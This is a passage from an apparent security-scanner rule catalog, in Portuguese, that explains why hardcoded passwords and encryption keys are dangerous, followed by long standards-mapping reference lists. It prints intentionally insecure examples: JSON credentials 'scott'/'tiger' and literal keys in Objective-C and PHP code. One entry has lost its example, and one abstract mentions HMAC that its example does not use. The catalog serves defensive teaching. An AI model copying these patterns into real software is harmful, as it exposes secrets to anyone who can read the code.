[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_hardcoded_encryption_key
Abstract
Senhas com codificação rígida podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Jamais use codificação rígida para senhas. Além de expor a senha a todos os desenvolvedores do projeto, isso dificulta consideravelmente a correção do problema. Quando o código estiver em produção, um patch provavelmente será a única forma de alterar a senha. Se a conta que a senha protege for comprometida, os proprietários do sistema deverão escolher entre segurança e disponibilidade.
Exemplo 1: O seguinte JSON usa uma senha com codificação rígida:


...
{
"username":"scott"
"password":"tiger"
}
...


Essa configuração pode ser válida, mas qualquer usuário que tiver acesso a ela também terá acesso à senha. Depois de o programa ser publicado, alterar a senha “tiger” da conta do usuário “scott” será difícil. Qualquer pessoa que tenha acesso a essa informação poderá usá-la para invadir o sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.json.password_management_hardcoded_password
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia HMAC embutidas em código podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo. Não apenas a codificação fixa de uma chave de criptografia permite que todos os desenvolvedores do projeto visualizem a chave de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.
Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo para criptografar informações:


...
$encryption_key = 'hardcoded_encryption_key';

//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...


Esse código será executado com êxito, mas qualquer pessoa que tenha acesso a ele terá acesso à chave de criptografia. Após a distribuição do programa, provavelmente não há como alterar a chave de criptografia inserida em código fixo ('hardcoded_encryption_key'), a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações pode usá-las para comprometer dados criptografados pelo sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.



Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
